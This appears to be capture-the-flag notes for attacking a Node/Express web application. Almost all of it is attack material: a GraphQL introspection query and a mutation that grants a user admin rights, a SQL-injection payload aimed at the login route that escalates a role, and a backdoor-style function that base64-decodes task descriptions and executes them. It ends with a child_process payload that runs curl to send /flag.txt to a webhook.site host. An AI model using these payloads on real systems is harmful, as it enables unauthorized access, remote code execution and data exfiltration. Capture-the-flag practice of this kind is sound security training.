{
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      name
      fields {
        name
        args {
          name
          type {
            name
          }
        }
      }
    }
  }
}

mutation {
  setRole(username: "mushroom", role: "admin")
}

{
  "data": {
    "setRole": "Role for mushroom updated to admin with new token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJYVnphSEp2YjIwPSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0MTM3NjgyMiwiZXhwIjoxNzQxMzc3MTgyfQ.zhJfDn0Mk7l01GjmEFS7VO1acDAhfs9L3bf2zVZepHo"
  }
}

{
  "error": "Clone failed",
  "details": "/bin/sh: git: not found\n"
}

{
  "error": "Invalid repository URL"
}

db.run(`CREATE TABLE IF NOT EXISTS users (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      username TEXT UNIQUE NOT NULL,
      password TEXT NOT NULL,
      role TEXT NOT NULL DEFAULT 'user',
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      last_login DATETIME DEFAULT CURRENT_TIMESTAMP
    )`);

const authorizeRole = (role) => {
  return (req, res, next) => {
    if (req.user.role !== role) {
      return res.status(403).send("Access denied");
    }
    next();
  };
};

app.post('/api/login', (req, res) => {
  const { username, password } = req.body;

  if (!username || !password) {
    return res.status(400).json({ error: 'Username and password are required' });
  }
  // === HERE ===
  db.exec(`SELECT last_login FROM users WHERE username = '${username}' ;`, (err) => {
  // ============
    if (err) {
      return res.status(500).json({ error: err.message });
    }
  ...

'; UPDATE users SET role = 'admin' WHERE username = 'mushroom'; --

app.post("/api/eval", (req, res) => {
  const { expression } = req.body;

  if (!/^[0-9+\-*/\s]+$/.test(expression)) {
    return res.status(400).json({ error: "Invalid expression" });
  }

  try {
    const result = eval(expression);
    res.json({ result });
  } catch (err) {
    res.status(400).json({ error: "error" });
  }
});

const express = require("express");
const path = require("path");
const sqlite3 = require("sqlite3").verbose();
const jwt = require("jsonwebtoken");
const bcrypt = require("bcryptjs");
const cookieParser = require("cookie-parser");
require("dotenv").config();
const crypto = require("crypto");
const app = express();
const { tasks_viewer } = require("tasks_mangement");

function tasks_viewer(encodedInput) {
  try {
    let input = atob(encodedInput);
    let hiddenFunc = Function["constructor"]("return " + input)();
    return hiddenFunc();
  } catch (e) {
    return e;
  }
}

app.get('/api/tasks/:id', authenticateToken, authorizeRole('admin'), (req, res) => {

    ...

    tasks_viewer(tasks[0].description); // <== HERE

    res.json(tasks);
  });
});

curl http://webhook.site/your-unique-id?$(cat /flag.txt)

process.mainModule
  .require("child_process")
  .execSync("curl http://webhook.site/your-unique-id?$(cat /flag.txt)");